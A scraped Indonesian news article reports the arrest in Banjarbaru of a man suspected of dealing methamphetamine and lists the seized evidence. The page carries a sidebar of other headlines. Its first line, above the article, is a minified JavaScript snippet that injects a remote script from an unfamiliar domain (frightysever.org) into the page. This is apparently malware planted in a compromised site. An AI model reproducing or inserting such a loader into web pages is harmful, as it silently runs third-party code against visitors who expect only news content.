(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

5,4 Gram Sabu Antar Hairil ke Polisi, Ditangkap di Gang Purnama Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Diduga pengedar sabu seorang laki-laki diringkus Satuan Resnarkoba Polres Banjarbaru di Gang Purnama RT 02 RW 06, Kelurahan Komet, Kecamatan Banjarbaru Utara pada Jumat (26/11/2021) sekitar pukul 10.30 Wita.

Penangkapan ini berdasarkan laporan di tempat tersebut sering dijadikan tempat peredaran dan penyalahgunaan narkotika jenis sabu yang dilakukan HA alias Hairil (37).

Kapolres Banjarbaru, AKBP Nur Khamid melalu Kasi Humas Polres Banjarbaru AKP Tajudin Noor mengatakan, dari hasil penangkapan didapati 12 barang bukti yang berhasil diamankan Satrenarkoba Polres Banjarbaru ketika sedang melakukan penggeledahan kepada pelaku.

“Kita juga berhasil mengamankan pelaku beserta barang bukti, kemudian dibawa ke Polres Banjarbaru guna proses lebih lanjut,” ujarnya.

 

 

Baca juga: Korban Tenggelam di Teluk Selong Ditemukan 10 Kilometer dari Titik Tenggelam

Adapun barang bukti yang berhasil diamankan pihak kepolisian yakni tiga belas lembar plastik klip yang didalamnya terdapat sabu berat kotor 7,8 gram dan berat bersih 5,4 gram, lima lembar plastik klip, lima batang pipet terbuat dari kaca sisa sabu. Tiga lembar kertas tisuee warna putih, satu buah bong terbuat dari botol Wooods yang di atasnya terdapat satu batang sedotan plastik warrna putih, satu buah tutup bong yang di atasnya terdapat dua batang sedotan plastik warna putih, dan satu buah timbangan digital Scale warna hitam.

Dari tangan Hairil juga diamankan satu buah kotak plastik warna bening, satu bungkus plastik klip, satu lembar jaket tangan panjang Fashion warna coklat, satu buah handphone merek VIVO warna biru silver dan satu buah kotak bertulisan Earbuds Basic warna biru.

Atas temuan barang haram tersebut tersangka diganjar Pasal 114 ayat (2) Sub Pasal 112 ayat (2) UU RI No. 35 Tahun 2009 Tentang Narkotika.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

9 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.